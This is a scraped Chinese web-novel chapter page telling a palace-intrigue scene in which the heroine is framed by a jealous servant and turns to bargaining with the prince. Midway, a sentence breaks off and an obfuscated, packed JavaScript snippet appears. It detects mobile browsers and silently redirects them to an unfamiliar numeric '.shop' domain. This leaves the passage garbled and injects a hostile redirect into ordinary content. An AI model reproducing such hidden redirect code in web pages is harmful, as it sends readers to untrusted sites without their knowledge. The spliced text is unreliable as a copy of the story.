默认冷灰
24号文字
方正启体

34. 第 34 章

作者:金涟本书字数:K更新时间:
    一个时辰前,时毓正在屋里奋笔疾书,门忽然被撞开,玲珑领着两个粗壮宫婢并两个魁梧太监闯进来,张口便说她屋里藏了外男,在行宫里行污秽之事,要将她就地正法。


    无论她如何辩解、求饶、甚至厉声斥责,玲珑却始终冷着脸,眼皮都没动一下。


    宫婢上前堵了她的嘴,太监用麻绳捆住她手脚,四人合力将她往院墙边抬。


    墙边早已搭了梯子,他们竟要将她扔到墙外摔死!


    时毓想不通,若真要她死,一刀封喉或是一杯毒酒,岂不干净利落?何苦这般大费周章?


    需知那行宫院墙近一丈高,梯子也不牢固,要把个大活人抬上去就不易,再顺利扔出墙外更是难上加难。


    她虽被缚,求生本能却激出蛮力,像条离水的鱼般翻滚挣扎,连带着抬她的人几次摔作一团。有个太监滚下去时后脑撞在石阶上,当场翻了白眼;玲珑亲自补位,也被她两脚踹得跌下梯子。


    这般折腾了小半个时辰,几人皆狼狈不堪。许是终于发现这样行不通,他们竟又将她抬回房中,摁在榻上,却也只是摁着,没有上刀子或干脆勒死她。


    玲珑甚至带着太监退出,只留两个宫婢摁着她。不多时又来了个小宫婢,进门就杵在门口,反反复复重复着一句话,像在背台词。


    没过多久,外头传来一声做作的咳嗽。


    而那小宫婢接收到这个暗号后,果然像被按下按钮,忽然叫嚷着‘掌事!这时毓真是太会做戏,咱们又被她骗了,她根本没事——”跑了出去。


    时毓简直被他们这一连串莫名其妙的操作给看傻了,直到听那小宫婢唤了声‘殿下’,骤然反应过来,虞衡来了!救星来了!


    她立即便要大声呼救,这才发现嘴巴的布条松了,手脚上的捆绑也松了,当即跳起来往外跑——


    跑到门口发现没人追上来,她还抽空回头看了一眼,却见方才凶神恶煞的两个老宫婢,竟已换了老实人嘴脸,毕恭毕敬地站在她床边。


    她心里的疑惑放大到了极点,但当下也顾不上解惑,全力扑到虞衡身上,把他当成唯一的救命稻草:“殿下救我!”


    *


    昨晚时毓出宫,至少被三方人马盯着。


    琳琅也布下眼线,实时掌握着她的一举一动。


    五个时辰前,琳琅根据各方汇总来的信息,拼凑出昨夜全貌:


    她邀蔺大家在殿下寝殿弹箜篌,成功激得时毓出宫,也成功引来了不轨之徒。却不想,殿下竟在时毓身边安了影卫。影卫不仅悄悄保护时毓,还将时毓与陌生男子勾连的消息传回,使得殿下醋意大发,亲自追出宫去。回宫路上却不知时毓如何触怒了殿下,殿下独返。时毓迟迟未归,令殿下坐立难安,于是再度出宫寻觅,直至破晓方归。而此时时毓却早已返回,安然入睡,殿下一怒之下将其囚禁。


    三个时辰前,织染署令王阳替时毓传话,以疏通南北商路为由,欲请殿下解其禁足,反遭训斥。


    殿下离宫后,琳琅在他案几上翻出几张写满潦草大字的纸。


    “虚伪”“薄情”“奸滑”等字眼力透纸背,足见落笔时恼意十足。


    其间还夹着一幅小画。笔触虽草,却极传神:画中人手长脚长,背了个斜挎布包,包上晃晃悠悠挂着一只布缝的小黑猫。眉眼身形分明是时毓,神态却被刻意勾勒得轻佻又市侩,较之上次那幅灵动狡黠的画像,如今这幅明显俗媚丑陋。


    她知道,殿下终于看透了这女子的虚伪、浅薄与不堪,厌憎已生。此刻,正是将时毓一竿子打死的最佳时机。


    但她绝不会脏自己的手。


    正如从前弄死殿下身边其他女人一样。


    她要做的,是加深殿下心中每一点厌恶,让殿下亲自杀死时毓,这样他就永远不会怀念她。


    于是她命人戴上兽纹傩面,翻墙潜入时毓院中;再让玲珑带人“捉奸”,制造时毓引人私闯行宫,白日宣淫,被发现后仓惶欲逃的假象。


    她要让殿下相信,这女子轻浮放浪,人尽可夫。


    她亲自向殿下禀报“时毓翻墙濒死”,再让小宫婢“无意”戳破时毓装死——让殿下看清这女子何等狡诈善演。


    最后,时毓必会在殿下面前百般辩白、哭诉求饶。而殿下,只会愈觉她满口谎言,无一字可信。


    这三步棋落下,时毓必死无疑。


    琳琅太了解虞衡了,所以几乎算无遗策。


    事情正如她所料,一步一步朝着预设的结局滑去。


    此刻,时毓那句“殿下救我”,落在虞衡耳中无异于贼喊捉贼、倒打一耙。


    虞衡眼里毫无温度。


    如果说先前在她身上发现的那些卑劣行径,如同瓷器上几道碍眼的裂痕,尚可修补——那现在,那些裂痕已彻底崩开,碎得再也拼凑不回原来的形状,更谈不上令他像从前一般喜爱了。


    “你让孤如何救你?把你绑在床上,还是找条铁链,拴在床腿上?”


    时毓被他眼中毫不掩饰的厌恶与彻骨的寒意慑住,浑身一颤,踉跄后退时竟绊到自己,重重跌坐在青石板上。尾椎骨传来碎裂般的锐痛,眼泪瞬间涌了上来。


    可比起疼痛,那种被整个世界遗弃的孤独与无依,才更让她恐惧绝望。


    这深宫之中,有人要她死得不明不白,而她毫无还手之力。更可怕的是,她视为唯一浮木的这个人,根本无意救她。


    是啊,凭什么觉得他会护着她?只因在一张床上睡过吗?于他而言那是恩赐,不是承诺。


    他曾数次对她动过杀心,肆意践踏她的尊严,何曾真正在乎过她的死活?


    只是出于人道主义关怀,屈尊背了她一会儿,吩咐太医来治疗,不代表什么。


    是她一个人飘零异世太孤独,总想抓住点什么,才产生了不切实际额的幻想。


    “说话!”虞衡猛地俯身逼近,狠狠掐住她下巴,厉声质问:“是你千方百计来到孤面前,用尽手段爬上孤的榻,如今为何要逃?瘸着腿都要逃,你急着逃去哪儿,见谁?!”


    强大的压迫感将时毓眼眶里的泪硬生生逼了回去。


    她嘴唇发颤,声音细碎:“奴婢没想逃……若真想逃,昨夜怎敢顶着殿下的雷霆之怒,一瘸一拐地挪回来?是玲珑带人闯进来,捆了奴婢就往墙外扔……”


    “时毓!”玲珑装作震惊,高声反驳,“你怎能如此颠倒黑白?!明明是你引外人私闯行宫,被我撞破后,怕担罪责才慌不择路要翻墙出逃,失足摔下险些丧命!”


    她伸手指向满院子的宫婢太监,“这里这么多双眼睛看着呢!方才若不是我不顾危险在墙下托了你一把,你可真就没命了!你不感恩便罢,怎能反咬我一口?!我真想不到世上竟有你这般狼心狗肺的人!!”


    时毓瞪大眼睛呆呆看着她奥斯卡影后级别的表演,想要继续辩解,却瞥到虞衡身后,琳琅正静静站在那里。


    唇角噙着一道几不可察的弧度,眼神冰冷又得意。


    她明白了。


    王阳对她说过,琳琅对殿下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843895|187132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    占有欲极强,且是个杀人不眨眼的狠角色。


    今日种种,都是她的手笔,她在殿下的后院里只手遮天,所有人都听她摆布。而殿下对她极其信任,无论自己说什么,只要她否认,就是徒劳。


    甚至,殿下会觉得自己在狡辩、在耍奸,只会更加恼怒不耐。


    就算殿下愿意相信自己,愿意稍微调查一下,谁又敢站出来指证琳琅呢?


    退一万步,真有人指证了琳琅,殿下知道了琳琅所做的一切,他会为了自己,治琳琅的罪吗?


    集团董事长,会为了一个新入职的实习生,开除自己跟了十几年、立下汗马功劳的总裁助理吗?


    时毓心下绝望,抱着最后一点卑微的期待,问虞衡:“无论奴婢说什么,殿下都不会不相信,对吗?”


    那双狡黠灵动的眼睛,此刻空空荡荡的,像被暴雨洗过的荒原,只剩一片寂灭的灰。


    虞衡心口蓦地一刺。


    他为这突如其来的刺痛感到愤怒——明知道她在演戏,她最擅长演戏!可那一瞬间的心痛竟如此真实,真实到让他觉得自己像个轻易被牵动的蠢货。


    他的眼神再次冷下来,“想让孤信你,你扪心自问,可曾对孤说过一句实话?”


    时毓忽然笑了。


    那笑很轻,很短,像黑夜中一闪而过的流星。


    她笑自己天真愚蠢,笑自己能力撑不起野心。连虞衡身边的奴才都摆不平,竟妄想搞定这个权倾天下的王。还妄想效仿吕后武曌,指望通过征服一个男人攫取权柄,用实实在在的权力终结这惶惶无依的飘零命途。


    太可笑,也太可悲了。


    得,有多大能力过什么日子吧。


    虞衡敏锐地察觉到,这一笑之后,她看他的眼神彻底变了。


    之前那些虚伪的讨好、刻意的勾引,乃至方才的惊恐与慌乱,全部褪得干干净净。


    同样消失的,还有那一丝卑微的期待。


    她整个人忽然松懈下来,像绷到极致的弦忽然断了,却意外地呈现出一种近乎从容的平静。


    怎么?难道她笃定他即便盛怒也下不了杀心?


    “殿下。”她唤了他一声,面上呈现他从未见过的坦然和理智,“您会在意朝中大臣的私德吗?会因某个能臣翻墙私会女子,便弃之不用吗?


    假使我果真如您所想的这般卑劣,但我能改善南北商路,助您解决漕运顽疾,甚至……为您拨开迷雾,找到铲除背后猛虎的方向,您还会因为今日这点‘破事儿’,对我喊打喊杀么?”


    风穿过庭院,卷起她凌乱的头发。


    她抬手拂过,慢条斯理得掩到耳后,一一扫过琳琅,玲珑,扫过满院子垂首而立的宫婢太监,这些表面是人,随时可化身食人野兽的东西,共同构建了一个布满荆棘的囚笼,现在她要拼着皮开肉绽、骨肉分离,挣脱它。


    她不跟她们玩了。


    她重新望向虞衡:“从前奴婢太想做您的女人,走了很多弯路,丢了太多东西。以后我,只想有尊严的活着。我将重振漕运之策放在枕头下了,我相信殿下一定不会不在意江南万千百姓的生计,一定需要江南这个大金库,来对付您背后的猛虎。您不妨看过之后,再决定要不要杀我。至于她们强加给我的这些污名,我不在乎,无需劳烦殿下再调查了。”


    虞衡心头一震。


    在如此狼狈、如此被动的情形下,她竟能完全跳出“被审判”的绝境,,让自己坐到谈判桌的对面。


    他好像从未真正认识她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)